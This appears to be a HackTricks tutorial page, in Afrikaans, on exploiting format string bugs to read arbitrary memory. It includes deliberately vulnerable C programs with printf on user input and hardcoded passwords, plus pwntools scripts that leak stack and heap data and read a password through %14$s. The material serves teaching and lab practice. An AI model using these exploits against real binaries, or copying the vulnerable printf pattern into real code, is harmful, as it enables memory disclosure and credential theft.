Formaat Strings - Arbitraire Lees Voorbeeld
Reading time: 5 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Lees Binêr Begin
Kode
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Kompileer dit met:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploit
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- Die offset is 11 omdat die instelling van verskeie A's en brute-forcing met 'n lus offsets van 0 tot 50 gevind het dat by offset 11 en met 5 ekstra karakters (pype
|
in ons geval), dit moontlik is om 'n volle adres te beheer. - Ek het
%11$p
gebruik met padding totdat ek sodat die adres heeltemal 0x4141414141414141 was. - Die format string payload is VOOR die adres omdat die printf ophou lees by 'n null byte, so as ons die adres stuur en dan die format string, sal die printf nooit by die format string kom nie aangesien 'n null byte voorheen gevind sal word.
- Die adres wat gekies is, is 0x00400000 omdat dit is waar die binêre begin (geen PIE nie).
Lees wagwoorde
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
Kompileer dit met:
clang -o fs-read fs-read.c -Wno-format-security
Lees van die stapel
Die stack_password
sal in die stapel gestoor word omdat dit 'n plaaslike veranderlike is, so net om printf te misbruik om die inhoud van die stapel te wys is genoeg. Dit is 'n exploit om die eerste 100 posisies te BF om die wagwoorde uit die stapel te lek:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
In die beeld is dit moontlik om die wagwoord vanaf die stapel in die 10de
posisie te lek:
Lees data
Deur dieselfde exploit te loop maar met %p
in plaas van %s
, is dit moontlik om 'n heap adres vanaf die stapel by %25$p
te lek. Boonop, deur die gelekte adres (0xaaaab7030894
) te vergelyk met die posisie van die wagwoord in geheue in daardie proses, kan ons die adres verskil verkry:
Nou is dit tyd om te vind hoe om 1 adres in die stapel te beheer om dit vanaf die tweede formaat string kwesbaarheid te benader:
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
En dit is moontlik om dit te sien in die try 14 met die gebruikte passing waar ons 'n adres kan beheer:
Exploit
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.